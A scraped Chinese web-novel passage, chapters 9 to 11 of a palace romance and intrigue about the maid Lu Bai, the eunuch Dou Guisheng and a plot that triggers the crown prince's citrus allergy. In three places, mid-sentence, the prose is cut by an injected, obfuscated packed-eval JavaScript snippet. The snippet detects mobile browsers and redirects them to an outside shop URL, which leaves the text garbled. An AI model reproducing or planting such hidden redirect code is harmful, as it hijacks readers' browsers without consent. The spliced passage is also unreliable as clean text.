窦贵生忽的想笑。放声大笑。 9. 第 9 章 窦贵生是做不出来放声大笑这等事的。 正如他一辈子都没跟鹿白说过“我爱你”,到死也没说过。鹿白一开始总是误会他,后来随着年岁渐长,才逐渐学会看懂他的心口不一,看懂他压抑至深的浓烈情绪。 此刻,窦贵生只是极为嫌弃、极为慢悠悠地乜了一眼鹿白扒在他袖口的爪子,低骂了一句:“脏死了。” 鹿白赶紧松了手,想给他拍拍袖子上的灰,却被他一拂袖躲了过去。抬头一看,不知道什么时候,两人已在熟悉的路口站定了,不远处便是莫啼院的青瓦朱墙。 窦贵生盯着她鸟窝似的发顶看了一会儿,甩下一句话便走了:“有时间搔首弄姿,没时间写作业。呵。” 正午时分,鹿白愣是被吓得冷汗涔涔。直到回了莫啼院,被众人团团围了起来,她才垮下脸,露出一个后怕的表情。 “天呐,谁欺负你了!”十六皇子卸下铁甲,一身轻松,一边叫甄冬帮忙给鹿白脱衣服,一边给她晃着扇子。鹿白躲了两下没躲过,见他精神头尚可,便随他去了。 “殿下,我完了,我完了……”鹿白喃喃道,在众人惊疑的目光中哭诉道,“我两天没交作业了!” 赵芳姑哑然失笑:“这几日都在忙祭祀大典,谁还有工夫看作业,不差这两天的。” “补上就行了。”甄秋附和道。 安慰如同隔靴搔痒,无济于事,鹿白左耳进右耳出,一个劲儿地喃喃着自己要完了。窦贵生生气是事实,一时没有罚她,定然是在憋大招,一个一击毙命的大招。仔细想想,她三番五次地招惹他,一而再再而三地触犯宫规,还害得他老人家闹出桃色绯闻,晚节不保。不论哪点都足以让她死个三五回了。 一裤之仇的事她不敢再肖想,唯一能保命的就是窦贵生和谢嫔见不得人的勾当了,她得想办法利用这点仅存的优势。 甄冬动作粗暴,三两下就扒掉了鹿白的宫装,打断了她的沉思。捧着衣裙,甄冬忽的突兀道:“衣裳不是这样糟蹋的。” 众人一愣。赵芳姑率先瞥见裙角那处破损,反应了几秒,忽的看向鹿白的膝盖。不看还好,一看她顿时惊叫起来:“啊呀,流血了!” “快快快!”她推了甄秋一把,“去拿药。” 甄冬冷眼看着一群人大惊小怪,无奈地叹了口气,夺过十六皇子手中的扇子:“殿下歇着去吧。” 血是流了不少,但只是看着吓人而已。鹿白卷起裤腿,一边呲牙咧嘴地擦药,一边安慰众人道:“小伤,都是小伤。”顺便把今日的一遭奇遇原原本本讲了一遍。 十六皇子一开始还听得认真,但视线落到那截小腿上时,就开始两眼发直了。怔怔地看了一会儿,他才意识到实在不合规矩,一扭身,红着脸跌跌撞撞地躲了出去。 “殿下怎么了?”鹿白已经擦好药,放下裤腿了。 赵芳姑装作什么也没看见:“屋里太热了。” 秋老虎来了不肯走,热得人一动不想动。正在这时,一场及时雨出现,解救了莫啼院的男女老少。 “皇后娘娘到——” 内侍的声音响起时,室内的温度确实下降了好几度。一部分是因为霍皇后带来了冰鉴,另一部分则是因为被吓的后背发凉。 莫啼院这地界,别说皇后了,连三品以上的内侍都少有人至,只有逢年过节时才热闹些。平平整整的院墙未经打理,缀着一片过季的藤萝,虽然已经枯萎了,但被烈日一烤,鼻尖仿佛还能闻到那股淡紫色的清香。 柔顺,安静,美好。跟顺嫔母子一样。 霍皇后在院内站了片刻,便见到面色灰白的十六皇子领着众人迎了出来。她以皇后的身份说了些赞扬褒奖的话,以长辈的身份代皇帝说了些关心关爱的话,最后,再以一个唯恐失去丈夫的女人的身份,轻轻托起十六皇子的胳膊。 “元真,圣上政事繁忙,私底下也是想着你的。你别怪他。” 政事繁忙,还有时间陪皇后赏花游园,陪九哥哥骑马射箭吗?若是真想着他,前十四年都干什么去了呢?他被病痛日夜折磨的时候,圣上又去哪儿了呢? 十六皇子似乎压根就没想过这些问题,诚惶诚恐地拜了两拜,连声道“不敢”。 霍皇后深深看了他一眼,如同来时一样,悄然无息,浩浩荡荡地离去。 虽非本意,但今日大典十六皇子已出了不小的风头,霍皇后再来这么一出,宫中捧高踩低的人该跟苍蝇似的围上来了。他们甘当苍蝇,莫啼院却不愿当茅坑。 赏赐的队伍刚一走,顺嫔就来了。她来得悄无声音,如同幽灵似的,不知道怎么就进了院,不知道怎么就入了屋,不知道怎么就拉着鹿白坐到了塌上。 “听说你与苏福公公相好,能不能……能不能去探探圣上的意思?”她声音柔软得跟窦贵生有得一拼,叫鹿白想拒绝都无从开口。 “娘,你从哪儿听来的?”十六皇子皱着鼻头,声音发闷,“那都是没影的事儿,瞎说的。” “是么……”顺嫔这下不知道如何是好了,“可圣上这是什么意思?怎么突然叫你坐太子身边?” 顺嫔入宫近二十年了,见皇帝的次数屈指可数,生了儿子后情况也没有任何好转。且十六皇子得了这等病症,时间短了觉得难过,时间长了觉得厌烦,时间再长就彻底忘记了。没有圣谕不得到皇帝眼前讨嫌,是以他们母子一年到头都见不到几次圣上的尊驾。 顺嫔愁得慌:“方才皇后娘娘说什么了?瞧着高不高兴,生不生气?她来了,德贵妃要不了多久也得过来。是不是亲自来,你们都得小心些,可千万别说错话。” 突如其来的关注绝非好事,顺嫔怏怏不乐地坐了一会儿,忽的想起什么:“我听说——”她瞥了一眼屋外,赵芳姑了然,立马把门关得严严实实。 顺嫔捂着嘴低声道:“我听说,咱们院有人与窦公公……那个了。” 说是“有人”,眼神却盯着赵芳姑。 赵芳姑愣了片刻,大笑道:“我的娘娘,你这笑话可真有趣!” “我说真的!”顺嫔扯了赵芳姑一把,“说吧芳姑,是不是你?” 赵芳姑连连摆手:“娘娘快别逗我了。” 十六皇子无奈:“娘,你连这都信啊!” 顺嫔:“那怎么不信,说得跟真事儿似的!说两人在树丛里都……然后被逮了个正着呢。” 十六皇子:“窦公公那样的人,没可能的。” 顺嫔:“你懂什么,是个人都有可能。” 赵芳姑:“是个人都有可能,关键他不是人呀。风言风语早就传了好几轮了,您也不想想,江如口里说出来的,能有几分真?莫啼院拢共就这几个人,不是我,不是甄冬,难不成还是小白?” 几双眼睛齐刷刷地望向故事的另一位当事人。 鹿白:“……嗯。” 顿了顿,赶紧摇头:“不是我!” 顺嫔彻底失望了,惋惜地冲赵芳姑道:“要是你该多好!好歹也能帮衬帮衬我们。” 这确实叫人惋惜,也着实可笑。身为亲生儿子,从小到大见到父亲的次数屈指可数,要想知道他的想法,还得求人去打点他身边的太监。 自从入了宫,鹿白就一件正事儿都没干。现在机会来了,她不可能放弃。 对十六皇子,她只说去找小苏公公碰碰运气。苏福是司礼监随堂太监,面圣的机会也不少,十六皇子便勉强同意了。临行前众人站在院内,好一副惜别荆轲的壮烈景象。鹿白感叹了一番,想起荆轲刺秦的结局,顿觉太不吉利,赶紧将此次事件改称为专诸刺王僚。 专诸夹着她的鱼肠剑,正气凛然地行至吴王僚的门口,豪气干云天地叫了门,而后老老实实地递了牌子,被领进屋里候着。 等了大半个时辰,吴王僚终于出现了。专诸激动得不能自已,连忙抽出鱼肠剑,双手呈上。 “先、先生……”她的声音开始颤抖,说不清是害怕还是紧张,“作业写完了。” “三天了,这才写完?”窦贵生也不展开,先用手指在桌上敲了敲,敲得鹿白的神经一抖一抖的哆嗦。 “先生先看看吧。”她的声音小得像蚊子。一抬头,正撞见窦贵生似笑非笑的眼神,她顿时面色一凛,扯出一个礼貌的假笑。垂头缩脑,老实巴交。 近日北边战事又起,皇帝一门心思扑在谒陵和皇后的千秋节上,担子便落到了窦贵生的头上。一连几日忙得脚不沾地,早就忘了要惩治鹿白的事。结果一回来,就听苏福说这丫头在屋里等他。 那能怪谁呢?她自己送上门来的。 窦贵生说不出哪儿高兴,但就是莫名其妙地浑身舒坦。手指翻了翻鹿白的文章,从前往后看了一遍,又从后往前看了一遍。总体而言相当不错,这方面她倒还真不傻。没有哪个先生不喜欢见到勤奋好学、成绩优异的学生,因此他心中立马将这股突然冒出来的快意归为师生之情,或者叫欣慰之情。 “还凑合,放这儿吧。”他矜持地点了点头。 鹿白松了口气。一想到接下来的话,方才的心如止水又掀起波浪了。 “先生,您,就是吧,我有点事儿,也不是什么大事……”她言辞闪烁,面露难色。 窦贵生扬了扬眉:“有话快说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218245|197454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 磨叽什么。” “是,先生。”鹿白顿时泄气。跟不喜欢的人开口求情,实在太伤人脸面,但一旦开了头,尊严什么的霎时便被抛到九霄云外,脸皮也能理所当然地变厚。 从极为讨厌到讨厌,从讨厌再到不喜欢,期间究竟经历了什么,容不得鹿白细想。 “昨日祭祀大典,圣上体恤十六殿下身弱体虚,特意安排在廊内观礼。殿下铭感五内,本想亲自到圣上和皇后跟前谢恩,但近日圣上忙于政事,难以抽身,殿下实在不忍前去打扰,想来想去不知如何是好。依先生所见……殿下该不该去,该何时去?” 殿下,殿下,整日就知道殿下。梅子糖也是殿下给买的,傻子才当个宝!她也不想想,单是圣上能想到这主意吗?要不是有人旁敲侧击,她和那狗屁殿下不早叫日头晒晕了! 一股邪火噌地钻了出来,窦贵生垂下睫毛,又露出那副什么都不在乎的神情:“十六殿下叫你来的,还是你自己来的?” 鹿白果断道:“我与殿下本是一体,不敢自作主张。” 回答者自觉准备充分,对答如流,正中考点。 窦贵生右眼眼尾抽搐了一下。十六皇子是第一个叫他感到危机的男人,正经男人。虽然往后疯扑上来的男人数不胜数,他渐渐也应付得得心应手,手到擒来,来一个赶一个。但生平第一次遭遇这等状况,他还是不禁心烦意乱,不知如何是好。 女史一职,本就是那种意思,他不是早就知道么? “还有,多谢先生那日的救命之恩。”鹿白见他没生气,便飞快地补充道。想再夸上两句,但一想到自己此刻是在求人,还是别故意惹他不快,于是果断地闭了嘴。 窦贵生盯着她看了好半晌,直到香炉中的那柱香燃尽,他才僵硬地站起身:“就这么口头感谢?” 鹿白早就想好了,从袖中掏出一副锦袋裹着的字画。送金银太庸俗,度也不好把握,他们在小库房里挑挑拣拣,这是唯一一件拿得出手的礼物了。 精致的锦袋和鹿白干净朴实的衣着打扮格格不入,就像是从谁家偷出来的赃物。窦贵生眼珠在她身上转了一圈,甚至都没伸手去接:“拿回去。” “是……先生。”鹿白就知道他瞧不上,听话地收了回去,杵在那儿继续想办法。 窦贵生见她那傻愣愣的样就觉得心口发闷,思来想去,终于想出一个高明的主意。一件绯红的外衣扔在鹿白面前,他侧过身子,露出半边看似不耐烦的侧脸:“你那爪印还在上头呢。” 鹿白翻来覆去看了几遍,也没看出哪儿脏了。但窦贵生肯提要求,那便说明此事有门。 “先生放心,保证洗得干干净净,崭新如初!”鹿白欢天喜地,千恩万谢地走了。走到门口,又咚咚跑回来,将锦袋扔在窦贵生桌上,抬腿就跑:“先生还是留着吧,不然我不好跟殿下交差。” “你好不好交差与我何干!”窦贵生气得脑仁疼,三两步追了出去,把东西甩给鹿白,“拿走,别放我这儿碍眼。” 满屋都是收贿受贿的礼物,少则千两,多则几万,相比之下,他们这字画确实寒酸。鹿白犹豫片刻,便顺从地收回了这份拉低全屋品味的礼物。 窦贵生气鼓鼓地在门口站了半晌。等人走远了,才恍然回神,颇有些偷偷摸摸地钻入房内。片刻后,一封新鲜出炉、情真意切的信就写好了。 “苏福,”他把人叫进来,指着案桌,“待墨迹干了,你给她送去。” 苏福应了一声。不用问她是谁,满宫里只有一个她。 他余光在展开的信纸上瞥了一眼,扫了大致内容和落款,忽的福至心灵,犹豫道:“干爹,您……是不是对陆女史有意?” “放屁!”窦贵生拍案而起,“我怎么可能喜欢那傻子!” 他就是饿死,死外面,从鸣山跳下去,也绝不会喜欢这傻子! 苏福却不怕。他深谙干爹的秉性,越是喜欢的人骂得越狠,且只是骂骂而已,压根舍不得动手。正是因为深谙此道,所以他才坚信自己判断无误。 “既然不喜欢,何必还要装作小豆子给她写信?”何必还要处处留心,时时在意?何必如此大费周章,演戏成瘾? 满屋墨香外,还飘散着一股淡淡的柑橘清香,仿佛平地升起一阵叫鹿白的风暴。彼时窦贵生深陷烦躁之中,觉得学生和干儿子都忤逆不孝,气煞人也。但不出几日,再想起屋中的味道时,他便觉出事情的蹊跷。 鹿白不擦香粉,哪来的香味呢?谒陵前夜,太子突发急病,浑身红疹,一夜之间,代天子出行的人选变成了九皇子。 当真都是巧合吗? 10. 第 10 章 柑橘的清香对窦贵生而言是爱情抽条的气味。对太子而言,则是死亡时墓碑上花圈飘散的淡香。 没有人知道太子对柑橘过敏,除了他早逝的生母和德贵妃。即便有人知道,也不清楚过敏的具体是哪一种——晌午时太子还在剥桔子吃呢,也许那时身上有两片红斑,晚上就浑身发疹倒地不醒了。 大理寺和刑部决心彻查此事,但太子本人表示不过是吃错了东西,绝非有人蓄意谋害东宫储君,朝臣们只得作罢。于是此事便由国事变成了家事。 太子人如其名。章元容,颇有容人之量,除了男女之事上有些不拘小节外,各个方面都堪称完美。活着十分完美,死时也死得十分完美。 德贵妃却绝没有儿子这样的度量。她先将东宫伺候不力的宫人通通惩罚了一遍,紧接着换了缟素的衣服,拽着太子妃一起去找霍皇后了。霍皇后被她哭丧似的举动吓得不轻,赶紧叫窦贵生彻查此事。 太子这几天哪儿都没去,自从南方查税回来,他便因水土不服的后遗症一直身体不适。且近日因为谒陵一事皇帝心情不佳,他更加谨小慎微,不敢妄动,窝在东宫一步都不敢出来。唯一一次外出,便是祭祀大典。 其实事实再明显不过了,没什么可查的。握着线的这头轻轻一抖搂,便能抖出一连串的凶手:鹿白是吴玉送进宫的,跟贾京有私情——姑且称为私情吧,贾京为皇后办事,皇后是九皇子的生母。 霍皇后大概还不知道儿子做下了这等蠢事,又或者已经知道了,却装作清白无辜地下令彻查。 太子出事,受益最大的是谁?单凭这一点,九皇子就脱不开干系。 然而这事不好查,不便查,不能查——皇帝他高兴啊! 太子病倒,皇帝终于找到一个办法,既不用损害身为天子的尊严,也不用与朝臣们斗争扯皮,还能让心爱的女人和儿子满意。他怎会轻易打破自己好不容易实现的美梦? 窦贵生是皇帝肚子里的蛔虫,对此自然清楚无比。是以他现在不再是窦先生,而是窦公公、窦秉笔,需要暂时摒弃书本上的圣贤道德,一心专做皇帝的看门犬。 鹿白“二进宫”了。 在她闻到荷包上不同寻常的气味时便预料到了这个结局。那是那日贾京给她的荷包,据称是她被救起时身上所带的饰物。荷包是正经荷包,里面装的东西可十分不正经。 贾公公只是凑巧寻了一种太子会过敏的香料吗?别逗了。 鹿白在屋里点了火盆,把荷包烧了个一干二净。空气中弥漫着柑橘的酸味,布料的烧焦羽毛味,还有她可怜的回忆燃烧殆尽的苦味。这是她第一次害人。 甄冬以为屋里着火了,着急忙慌地爬下床,就见到鹿白蹲在堂前,神色惶惶,面露戚戚。 “熏死我了。”她穿着中衣在鹿白身边蹲下,一盖子拍灭盆里的火,“半夜不睡觉,你要干什么?” 鹿白没回答,盯着火盆上方的青烟,盯着它们妖娆的倩影在半空渐渐消失。 甄冬掀起盖子看了一会儿,忽的问道:“你是别处安进来的探子吗?” “不知道。”鹿白失神地摇头,“我不知道。” 甄冬不甚在意,用火筷拨弄了一下,确认火苗都熄灭,便起身进屋:“没关系,只要你别害殿下就行。” 同样的问题,在典刑司又问了一遍。只不过这次不太客气。 “是谁指使你的?”训话的太监凶神恶煞,但双方都清楚,此事不过是走个过场而已。九皇子和霍皇后不能动,审讯只需点到为止,找出几个赚取差价的中间商,就算有个交代了。 面子上过得去就行。 现在看来,这个锅典刑司打算让鹿白背。 但鹿白没有开口,她甚至连贾京都没供出来。贾京和吴玉似乎都认定了她傻,认定她什么都不懂,瞧不出破绽。但她只是不想说。连她自己都不知道自己在坚持什么。 窦贵生急得一宿一宿睡不着,干脆起来批奏折,可写了几笔太阳穴就一阵阵发紧。心口突突直跳。这傻子,怎么就这么犟呢! 他来典刑司看过她好几回。鹿白见了他还挺高兴:“先生,你的衣服我都洗好了,什么时候叫甄秋给你送过来?” “你是傻子吗!”窦贵生骂她。 她笑了,露出两排整齐的小白牙:“先生,你是来审我的还是来看我的?” 窦贵生鼻子抽动两下,哼道:“看你做什么……” 她脸上的笑淡了:“那就是来视察工作了。” 不用窦贵生嘱咐,苏福早就给未来干娘打点好了。确认鹿白仍是白白净净,吃嘛嘛香,窦贵生才做出一个不耐的表情,开门见山道:“那天贾京给你荷包,我都看见了。在哪儿呢,快交出来。” 鹿白摸了摸颊边的碎发,慢吞吞道:“我烧了。” “你!”窦贵生差点一口气背过去。缓了半晌,他才咬牙道:“真是蠢货!那么重要的物证,怎么……怎么能烧了!” 俨然一副恨铁不成钢的语气。 鹿白神色古怪地盯着他,直看得他心里发毛,她才缓缓地、坚定地开口道:“窦公公,你是想救我出去吗?” 窦贵生心头一跳,便听她继续道:“因为好哥哥那件事?” 窦贵生:“……” 这都什么乱七八糟的! 鹿白觉得他是默认了,不解道:“可是,如果直说是我对太子殿下求而不得,忿而下药,然后把我处死,岂不是没人知道你的秘密了?如此也更好跟九殿下和皇后娘娘交差啊。” 的确,若是换了旁人,他一定会这么解决。但现在…… 窦贵生的表情顿时变得跟鹿白一样复杂。这丫头,该说她什么好呢?若是不傻,谁会求着别人杀了自己?若是真傻,怎么会一眼看透事情原委? 此好哥哥绝非彼好哥哥,但窦贵生觉得自己犯不着拉下身段跟她解释,轻飘飘扔下一句“你要是敢乱说我叫你好看”,便看似愤怒地摔门而去。 鹿白是真的想不通。 其实这里头还有另一种原因,只是她觉得不可能,别人觉得不可能,连窦贵生自己都觉得不可能。所以思路到了那个岔路便直接绕了过去。真相就这么与她失之交臂。 典刑司这一批抓了好多宫人,但凡那日与太子殿下接触过的全都拎进来拷问。后来发现有几人吃过橘子、抹过柑橘味香膏、喝过陈皮水等等,其实都与太子的过敏症无关。在太子的一再坚持下,这些人象征性地打了几板子便被放了出来。连德贵妃也没有再闹。 朝野内外无不赞美东宫的德行。但鹿白跟太子“亲密接触”过的事,现在已然人尽皆知了。 那天发生了什么,莫啼院的众人都是知道的。但没人知道事情竟会闹得这么大。 十六皇子颇为担忧,对着鹿白期期艾艾:“太子哥哥,他是不是……是不是对你……你、你……” 鹿白很无奈:“他是不是我不知道,但我不是。还是那句话,他很好,是我不配。” “你配!”十六皇子急忙否认,说完觉得这话像是骂人,笑着扯了扯鹿白的袖子,“小白,你是不是还喜欢苏福公公?” 鹿白点点头,又摇了摇头:“殿下,我在典刑司这段时间仔细思考了一下。其实我喜欢的是我心目中的小豆子。是透过兰花屏风,被烛光放大了的摇曳人影,是无数封跟夜风一起从缝隙中吹入的纸条,是那句‘尽力而为,无愧于心’。他不是苏福公公,不是最开始给我写信的小公公,不是任何一个实际的人。” 十六皇子长叹一声,像是一只缓缓瘪下去的气球:“原来如此,我明白了——” 伤感的气氛维持了几秒,鹿白突然“啊”了一声,犹豫着开口道:“殿下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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十六皇子老干部似的摇头晃脑袋道:“我觉得,窦贵生,窦公公,喜欢你。” “……哈???” 鹿白表示:不,可,能。 众人表示:不。可,能。 狡辩不成,鹿白被赶鸭子上架,赶到了司礼监。一则感谢“小豆子”为顺嫔和十六皇子出谋划策,既没惹得圣上不快,也从风口浪尖全身而退;二则,就是这件荒谬至极的事了。 鹿白觉得自己跟窦贵生天生犯冲。要说手下留情,也是因为小苏公公或是谢嫔那档子事。何必非得来这儿自讨苦吃呢! 果不其然,在她毕恭毕敬地献上谢礼,直白地问出“先生,你是不是喜欢我”的问题后,窦贵生发怒了。 “你说什么?你再说一遍!”窦贵生怒发冲冠,抄起桌上的画卷当戒尺,舞得赫赫生风。 鹿白有点看不懂他了:“那你怎么对我这么好?是因为苏福公公吗?” 也就剩下关照未来儿媳妇这种可能了。 窦贵生哑然失笑。细细想来,他对她不是打就是骂,这傻丫头怎么看出来他对她好的?难不成脑子真是装的浆糊? 思及此处,一股无力感顺着脚跟迅速地向上攀爬,瞬间蔓延至全身,便将他整个吞没。窦贵生摆了摆手,颓然地坐回椅子上:“找你的殿下,苏公公,还有那什么贾公公吧,我看他们可喜欢你得很。别跟我这儿自作多情,我瞎了眼看上你?” 鹿白重重点头:“那就好。” 窦贵生:“……” 鹿白一蹦一跳跑了,把别扭又不高兴的老太监甩在身后。 她还真得找贾公公一趟。秋猎要到了,终于有机会见吴玉吴相了。 天凉了,该做了断了。 11. 第 11 章 自从被鹿白表白起,已经过了五天了。 窦贵生单方面将其认作表白,并且为此感到沾沾自喜。如果不是喜欢他,怎么会在乎他喜不喜欢她?如果她仰慕的是由纸条拼凑起的那个不存在的情人,岂不是说明她也仰慕他? 哪怕只是他的一部分呢。 他没有想过,他对鹿白做了这么多堪称恶劣的事,鹿白怎么可能还会喜欢她?他骗她,他打她,他骂她,他做尽了坏人能做的一切。而为她奔走的那些事,他却本能地选择了秘而不宣。 一点破事儿而已,有什么好说的。 似乎只要她喜欢他,他便觉得满足了。现在,喜欢顶的东西远远不止狗屁了。 自从想通喜欢的绝非苏福公公,而是一个虚无缥缈的幻象,再见苏福时,鹿白就淡定许多了。苏福心中有鬼,倒是越来越不淡定,甚至堪称焦急。 这该怎么说呢!自作主张他不敢,可是眼睁睁看着干爹误入歧途也于心不安啊!现在的鹿白对所谓小豆子余情未了,藕断丝连,但对于窦贵生…… 引用鹿白的原话:“他这年纪都能当我爹了,而且我要是有这么个爹,就立马投河自尽。啊,苏公公我不是挑拨你们父子关系,你别误会。” 苏福:“……” 不过,老窦本人对此毫不知情,还自己在那美呢。 中秋节那天,写着莫啼院字样的食盒由甄秋送到了司礼监,由守门太监交给苏福,再原封不动地放到了窦贵生桌上。 窦贵生收的礼很多,书法字画,金银珠宝,珍馐美味。这个漆黑的、胡桃木的、光滑平整得堪称简陋的食盒大概是里头最普通、最不起眼的一个了。 从两三日前,各宫各院就开始陆续送礼过来了。赏赐也好,贿赂也罢,都是一个意思。散了朝,窦贵生便斜着眼问苏福:“今日哪宫哪院来过了?” 苏福念了一串名字,然后察言观色道:“莫啼院尚未来人。” 窦贵生:“……跟我说这个做什么!”说罢拂袖而去,一副被冒犯得恼羞成怒的模样。 第二天如是,第三天如是。中秋当日,苏福终于带来了一个肯定的答复。 窦贵生总是睡不醒的眼睛睁大了一点。他健步如飞,行至司礼监门口,又背着手,昂首阔步、不慌不忙、精神抖擞地往里走。仿佛不是见食盒,而是去见和离多年的前妻,在证明自己没了她一样过得很好的同时,大度地表示对方要想复婚也可以。 食盒就放在桌上。窦贵生迫不及待又状若嫌弃地掀开盖子:“啧!” 几块巴掌大的破月饼,有什么稀奇的。 冰皮的,拿模子一摁就出来了,有什么稀奇的。 桂花馅儿的,有什么稀奇的。 刻着一个丑陋的“白”字,有什么……有点稀奇了,那傻子竟然会做月饼?还自己动手做了? 食盒里头还躺着一张鹿白写的纸条:祝先生长命百岁,学生陆白敬上。 窦贵生“嗤”了一声,心道不知道费了多大的劲才憋出这两句呢。盯着纸条看了一会儿,才觉出她可能是在说他老。 “死丫头!”他骂了一句。像是想笑,终究没笑。 死丫头也是送完礼才知道,老窦其实刚刚年过三十。风华正茂,青春年少。大概是被生活摧残得太过,明明样貌不显老态,但鹿白就是莫名觉得他老得快入土了。 这人身上带着超越了年龄的老成持重,即便是暴跳如雷之时,也不会令人感到生机勃勃。他身上总是飘着一股即将死亡的气息。 鹿白猜测,除了害怕他手中那点权力,也许宫人们还被这种阴沉的死气吓得不敢靠近。这气质跟病毒一样,是会传染的。 中秋过后,便是秋猎。 出发那天,鹿白头一回见到骑马的窦贵生。高头大马,琉璃玉骢,威仪堂堂,怪好看的——这是说马,不是说人。 苏福还没有资格跟在圣上龙辇后,远远地落在队伍后头,跟在十六皇子身边。前头井然有序,后头就松散许多了。 “小白,我还以为你不来了呢。”苏福见鹿白一直探着头往前看,决定适时地暗示一下。 “我也以为啊!”鹿白穿了无比贴身的骑装,觉得手脚灵活许多,人也跟着活泼了不少,“十六殿下执意要去,咱也拦不住。” “十六殿下那身子……”苏福跟着叹了一句,“这几日又得辛苦你们了。” “这有什么的。”鹿白满不在意。 往年十六皇子没机会见圣上,也没机会去秋猎。今年这一闹,圣上才想起还有个病秧子小儿子,象征性地问了一句去不去,结果这孩子还真要去。 关了这么多年,也该放放风了,鹿白心道。 苏福还想说什么,甄冬却忽的出现,只说十六皇子找人,便把鹿白揪到前头的马车里了。这一路,两人没再找到机会独处。 皇家苑囿地处京郊,水波粼粼,山野幽深。 本朝重文,名曰秋猎,实则围猎和选贤任能之意已经很淡了,更多的在于彰显国威,证明兽肥鸟健,是个丰年,证明皇帝依旧健在,身体倍儿棒。 “与陈相比,不及万一。”路过帐篷时,鹿白听见窦贵生颇为忧虑地如此说道。 陈国女皇野心颇大。陈军征战连年,无往不利,尤以骑射功夫称强。数十年间,陈国已经收复西北十数小国,不断向南蚕食大周版图。周陈交战从未停歇过,交战缘由除却资源和劳力的抢夺外,还有最根本的意识形态的分歧。 党同伐异,人类的天性之一。 这句话鹿白听过不止一次,兴许还在书中见过,因为她脑中浮出的第一个画面,便是力透纸背、历历在目的八个大字。她心头跳了一下,有什么念头一闪而逝。 但彼时她一心想着即将跟吴玉碰面,没再深究,任由这个念头戏弄地从脑中飘走。 丞相吴玉的帐篷离窦贵生的不远,进进出出的人很多。一个小宫女,兴许是传话的,兴许是送洗脚水的,兴许是采买东西的,没人在意,也没人过问。 鹿白趁着夜色悄悄摸了进去。吴玉已经等候多时了。 “大人。”她没跪,只是微微垂了头。 吴玉手指在胡子上捋了一把,重重搁在桌上,沉声道:“你太冒险了。” “我有事想请教大人。”鹿白语气坚定。 吴玉视线在她身上梭巡半晌,无奈笑道:“坐下说话吧。” 鹿白走到吴玉身旁,顺从地坐在脚凳上。她不敢抬头,生怕眼神出卖了心底翻涌的情绪。 “此次做得不错。”吴玉用老父亲的口吻表扬道,“有什么要求尽可与我提。” 鹿白知道他说的是太子发疹一事。先前还抱有那么点“说不定真是他自己吃错了东西”的希望,现在彻底破碎了。 她声音发闷:“大人,我什么时候能回家?” 吴玉开始文人最擅长的打太极:“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218247|197454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是答应你了吗?不急在这一时的。” “那大人,您去过我家吗?见过我爹娘吗?” “放心,你爹娘安好,前几日还有书信来京。” “那我能看吗?” “信在相府,回去便给你” 鹿白的发髻晃了晃,声音也有点晃:“那……我爹的腰好些了吗?” 鹿白的爹差不多也是这等年纪,吴玉盯着她乖巧浓密的发顶,恍然间觉得自己的腰也开始隐隐作痛。他不知道低着头的人究竟是何表情,也跟着久久缄默不语。 半晌,他突然低声道:“鹿白,嫁与太子不好么?嫁了太子,你便可以把爹娘接过来了,荣华富贵,享之不尽。不好么?” 鹿白抬头瞥了他一眼,迅速地低了头,抿着嘴不说话。 吴玉笑了一声:“还是说,你心有所属,不喜欢太子?” “是又如何,不是又如何?”鹿白慢吞吞道。每当她这么说话时,都显得迟钝、痴傻、惹人发笑,没人会想到她其实在生气。 “不如何。”吴玉依旧是那副和蔼可亲的模样,似乎从不习惯冷脸对人。他的视线顺着帐帘掀起的缝隙,直望见九皇子亲昵自然地跟皇帝说话,九皇子似乎抱怨了一句,引得皇帝哈哈大笑,拍着他的肩说他胡闹。 “爹娘总是盼着你好的。”足足看了好一会儿,吴玉才继续道,“嫁与太子后,你爹娘便放心了。” “可是……”鹿白抓耳挠腮,终于想出一个理由,“可是我前些日子还被太子妃教训过,真嫁了太子,岂不是要被她吃了!我跟蟪蛄一样一样的,根本活不过这个冬天啊!” 吴玉笑意更浓:“都会用典了,看来窦贵生果真不同凡响。” 不用他教,我本来就会啊,鹿白撇了嘴。 “不用担心,此事我自有办法。” 这是那晚吴玉说的最后一句话,说完便叫鹿白赶紧回去了,因为帐外传来顺嫔要去探望儿子的声音。鹿白也一心想着十六皇子,便顺势溜了。 当时不是没有反驳的机会,但鹿白一个字都没有提。她并非不敢,也并非心软,她只是过不去心里的坎,自己跟自己较劲,自己钻自己画的牛角尖。 窦贵生后来说她:“这便是你的痴傻之处了,无怪乎别人说你。心有痴念,自然出乎常理,为常人所不容。世人对于理解不了的东西通常是惧怕、嘲讽,只因生怕被人戳破自己无知又愚蠢。但痴人自有痴人的可爱之处,他们哪里会懂?” 那日被救上船,鹿白一连病了十几日,吴玉也衣不解带地照顾了十几日。他的形象跟模糊记忆中父亲的背影渐渐重叠,让她不禁好奇,不禁同情。搁到过去,他就是鳏夫、失独、没人稀罕的孤老头子,亟需社区上门走访,日夜关照的那种。 